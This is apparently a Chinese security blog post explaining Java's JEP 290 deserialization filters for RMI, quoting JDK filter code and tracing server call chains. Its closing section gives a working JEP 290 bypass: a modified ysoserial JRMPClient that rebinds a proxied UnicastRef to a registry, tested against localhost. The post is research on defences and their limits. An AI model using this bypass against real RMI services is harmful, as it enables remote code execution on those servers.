JEP 290

JEP290 是 Java 底层为了缓解反序列化攻击提出的一种解决方案。这是一个针对 JAVA 9 提出的安全特性,但同时对 JDK 6,7,8 都进行了支持,在 JDK 6u141、JDK 7u131、JDK 8u121 版本进行了更新。

JEP 290 主要提供了以下几个机制:

  • 用黑白名单的方式限制可反序列化的类;
  • 限制反序列化的调用深度和复杂度;
  • 为 RMI export 的对象设置了验证机制;
  • 提供一个全局过滤器,可以在 properties 或配置文件中进行配置;

现在使用 JDK 8u392 ,再次运行 ysoserial 中的 payloads/JRMPListener 和 exploit/JRMPClient ,会爆出如下错误:

这在我之前的分析文章中也提到过,是由于 JEP 290 机制阻止了我反序列化 HashSet 类。

从报错信息中,可以发现一个 ObjectInputFilter 接口,其中定义了三种状态,分别是未定义、接受和拒绝:

另外从报错信息中发现 ObjectInputStream 有一个 filterCheck 方法,这个方法与反序列化的检查相关:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
private void filterCheck(Class<?> clazz, int arrayLength)
throws InvalidClassException {
if (serialFilter != null) {
RuntimeException ex = null;
ObjectInputFilter.Status status;
// Info about the stream is not available if overridden by subclass, return 0
long bytesRead = (bin == null) ? 0 : bin.getBytesRead();
try {
status = serialFilter.checkInput(new FilterValues(clazz, arrayLength,
totalObjectRefs, depth, bytesRead));
} catch (RuntimeException e) {
// Preventive interception of an exception to log
status = ObjectInputFilter.Status.REJECTED;
ex = e;
}
if (status == null ||
status == ObjectInputFilter.Status.REJECTED) {
// Debug logging of filter checks that fail
if (Logging.infoLogger != null) {
Logging.infoLogger.info(
"ObjectInputFilter {0}: {1}, array length: {2}, nRefs: {3}, depth: {4}, bytes: {5}, ex: {6}",
status, clazz, arrayLength, totalObjectRefs, depth, bytesRead,
Objects.toString(ex, "n/a"));
}
InvalidClassException ice = new InvalidClassException("filter status: " + status);
ice.initCause(ex);
throw ice;
} else {
// Trace logging for those that succeed
if (Logging.traceLogger != null) {
Logging.traceLogger.finer(
"ObjectInputFilter {0}: {1}, array length: {2}, nRefs: {3}, depth: {4}, bytes: {5}, ex: {6}",
status, clazz, arrayLength, totalObjectRefs, depth, bytesRead,
Objects.toString(ex, "n/a"));
}
}
}
}

对于 DGC 的影响

具体体现在为 DGCImpl 新增了一个 checkInput 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
private static ObjectInputFilter.Status checkInput(ObjectInputFilter.FilterInfo filterInfo) {
if (dgcFilter != null) {
ObjectInputFilter.Status status = dgcFilter.checkInput(filterInfo);
if (status != ObjectInputFilter.Status.UNDECIDED) {
// The DGC filter can override the built-in white-list
return status;
}
}

if (filterInfo.depth() > DGC_MAX_DEPTH) {
return ObjectInputFilter.Status.REJECTED;
}
Class<?> clazz = filterInfo.serialClass();
if (clazz != null) {
while (clazz.isArray()) {
if (filterInfo.arrayLength() >= 0 && filterInfo.arrayLength() > DGC_MAX_ARRAY_SIZE) {
return ObjectInputFilter.Status.REJECTED;
}
// Arrays are allowed depending on the component type
clazz = clazz.getComponentType();
}
if (clazz.isPrimitive()) {
// Arrays of primitives are allowed
return ObjectInputFilter.Status.ALLOWED;
}
return (clazz == ObjID.class ||
clazz == UID.class ||
clazz == VMID.class ||
clazz == Lease.class)
? ObjectInputFilter.Status.ALLOWED
: ObjectInputFilter.Status.REJECTED;
}
// Not a class, not size limited
return ObjectInputFilter.Status.UNDECIDED;
}
  • 如果定义了外部过滤器 dgcFilter,首先调用它进行判断。外部过滤器的优先级更高。
  • 使用 DGC_MAX_DEPTH 和 DGC_MAX_ARRAY_SIZE 来限制深度和数组大小。
  • 只有白名单类( ObjID,UID,VMID,Lease )允许被反序列化。

在 JDK 8u392 版本中,当我们尝试用 exploit/JRMPClient 攻击一个 RMI 服务端时,服务端的处理逻辑如下:

1
2
3
4
5
TCPTransport#handleMessages(Connection, boolean)
Transport#serviceCall(RemoteCall)
UnicastServerRef#dispatch(Remote, RemoteCall)
UnicastServerRef#oldDispatch(Remote, RemoteCall, int)
DGCImpl_Skel#dispatch(java.rmi.Remote, java.rmi.server.RemoteCall, int, long)

然后会在这里调用 ObjectInputStream 的 readObject 方法:

跟进 ObjectInputStream#readObject() :

跟进 ObjectInputStream#readObject(Class<?>):

这里会调用 readObject0 方法。

跟进 ObjectInputStream#readObject0(Class<?>, boolean), readObject0 是一个用于反序列化 Java 对象的内部方法。它负责从输入流中读取不同类型的对象数据,并根据特定的标记(type codes)进行相应的处理和反序列化操作。当读取到的 type code 为 TC_OBJECT(表示普通对象)时,会进行如下操作:

跟进 ObjectInputStream#readOrdinaryObject(boolean),这个方法用于读取并返回普通对象:

跟进 ObjectInputStream#readClassDesc(boolean) ,这个方法用于返回一个类描述符:

进入非动态代理类的情况,调用 readNonProxyDesc 来获取类描述符。

跟进 ObjectInputStream#readNonProxyDesc(boolean) ,经过了一系列操作后,调用了 filterCheck 方法,就是我们一开始提到的那个:

跟进 ObjectInputStream#filterCheck(Class<?>, int) :

在这里调用 serialFilter.checkInput ,也就是 DGCImpl 的 checkInput 方法,完成闭环。

调用链总结

服务端处理的调用链如下:

1
2
3
4
5
6
7
8
9
DGCImpl_Skel#dispatch(java.rmi.Remote, java.rmi.server.RemoteCall, int, long)
ObjectInputStream#readObject()
ObjectInputStream#readObject(Class<?>)
ObjectInputStream#readObject0(Class<?>, boolean)
ObjectInputStream#readOrdinaryObject(boolean)
ObjectInputStream#readClassDesc(boolean)
ObjectInputStream#readNonProxyDesc(boolean)
ObjectInputStream#filterCheck(Class<?>, int)
DGCImpl#checkInput(ObjectInputFilter.FilterInfo)

对于 RMI 的影响

具体体现在为 RegistryImpl 类添加了一个 registryFilter 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
private static ObjectInputFilter.Status registryFilter(ObjectInputFilter.FilterInfo filterInfo) {
if (registryFilter != null) {
ObjectInputFilter.Status status = registryFilter.checkInput(filterInfo);
if (status != ObjectInputFilter.Status.UNDECIDED) {
// The Registry filter can override the built-in white-list
return status;
}
}

if (filterInfo.depth() > REGISTRY_MAX_DEPTH) {
return ObjectInputFilter.Status.REJECTED;
}
Class<?> clazz = filterInfo.serialClass();
if (clazz != null) {
if (clazz.isArray()) {
// Arrays are REJECTED only if they exceed the limit
return (filterInfo.arrayLength() >= 0 && filterInfo.arrayLength() > REGISTRY_MAX_ARRAY_SIZE)
? ObjectInputFilter.Status.REJECTED
: ObjectInputFilter.Status.UNDECIDED;
}
if (String.class == clazz
|| java.lang.Number.class.isAssignableFrom(clazz)
|| Remote.class.isAssignableFrom(clazz)
|| java.lang.reflect.Proxy.class.isAssignableFrom(clazz)
|| UnicastRef.class.isAssignableFrom(clazz)
|| RMIClientSocketFactory.class.isAssignableFrom(clazz)
|| RMIServerSocketFactory.class.isAssignableFrom(clazz)
|| java.rmi.activation.ActivationID.class.isAssignableFrom(clazz)
|| java.rmi.server.UID.class.isAssignableFrom(clazz)) {
return ObjectInputFilter.Status.ALLOWED;
} else {
return ObjectInputFilter.Status.REJECTED;
}
}
return ObjectInputFilter.Status.UNDECIDED;
}
  1. 如果存在一个全局的 registryFilter,那么会调用它的 checkInput 方法来检查是否允许反序列化当前对象。外部的 registryFilter 拥有高优先级,它可以覆盖接下来定义的内置白名单规则。

  2. 使用 REGISTRY_MAX_DEPTH 和 REGISTRY_MAX_ARRAY_SIZE 来限制深度和数组大小。

  3. 以及定义了一个明确的白名单,,如果反序列化对象的类型属于这个白名单中的类,则允许反序列化(ALLOWED)。

其调用链与 DGC 相似,只不过是在 RegistryImpl_Skel 的 dispatch 方法触发。不过值得注意的是,这个方法只对 bind 和 rebind 的处理逻辑有反序列化的操作。

bind 的处理逻辑:

rebind 的处理逻辑:

而对其他方法比如 list、lookup、unbind 的处理逻辑则是没有调用 readObject 方法的。也就是说这个新增的机制只影响 Server 端对 Registry 端的攻击,对其他的攻击没有影响。具体来说,就是只影响 bind 和 rebind 方法的结果。之前提到的针对 Server 端和 Client 端的攻击依然可行。

调用链总结

还是总结一下 Registry 端的处理逻辑:

1
2
3
4
5
6
7
8
9
RegistryImpl_Skel#dispatch(java.rmi.Remote, java.rmi.server.RemoteCall, int, long)
ObjectInputStream#readObject()
ObjectInputStream#readObject(Class<?>)
ObjectInputStream#readObject0(Class<?>, boolean)
ObjectInputStream#readOrdinaryObject(boolean)
ObjectInputStream#readClassDesc(boolean)
ObjectInputStream#readProxyDesc(boolean)
ObjectInputStream#filterCheck(Class<?>, int)
RegistryImpl#registryFilter(ObjectInputFilter.FilterInfo)

除了中间调用的是 readProxyDesc 而不是 readNonProxyDesc 以外,跟 DGC 服务端的处理逻辑大差不差。

绕过分析

在白名单操作之后,Server 端想要向 Registry 端直接绑定一个 CC 链之类的恶意对象就不行了,但是之前提到的 RemoteObject + UnicastRef 还是可以用的。ysoserial 中的 exploit/JRMPListener 和 payloads/JRMPClient 就是对这一块的实现。

JDK 8u202 环境下,如果存在一个 Registry 端:

1
Registry registry = LocateRegistry.createRegistry(1099);

那么就可以针对它展开攻击:

  1. 首先开启 exploit/JRMPListener 服务端,它的作用是当收到 DGC 请求时会返回 BadAttributeValueExpException 异常类,与 CC 有关的 payload 就被放置在这个异常类当中。

  2. 然后我们可以向 Registry 端 bind 一个 UnicastRef 对象,这个对象在白名单之中,它被反序列化时,会向其中指定的地址发起 DGC 调用请求。但是由于绑定的对象必须要继承 Remote 接口,所以利用 RemoteObjectInvocationHandler 为这个 UnicastRef 对象创建一个 Registry 代理类,Registry 继承了 Remote ,所以这个代理类可以被顺利绑定。

  3. 于是 Registry 端收到 exploit/JRMPListener 发来的异常,造成反序列化攻击。

修改后的 payloads/JRMPClient 用来实现第二步:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package ysoserial.payloads;

import java.lang.reflect.Proxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {

public Registry getObject ( final String command ) throws Exception {

String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
return proxy;
}


public static void main ( final String[] args ) throws Exception {
JRMPClient jrmpClient = new JRMPClient();
// exploit/JRMPListener 开启监听的端口是 7777
Registry proxy = jrmpClient.getObject("127.0.0.1:7777");
Registry reg = LocateRegistry.getRegistry("localhost",1099);
reg.rebind("hello", proxy);
}
}

运行 Registry 端,运行 exploit/JRMPListener ,最后运行 payloads/JRMPClient ,就可以完成对 Registry 端的攻击。

会一直弹出计算器,是因为 Registry 端不断地在向 exploit/JRMPListener 发起 DGC 调用请求,不断地收到异常类:

不过值得注意的是,上面的代码在更高一点的版本比如 8u392 就运行不成功,看来是过滤的更严格了:

参考文章

浅谈 JEP290

Java RMI 攻击由浅入深

RMI:绕过 JEP290 —— 上

RMI:绕过 JEP290 —— 中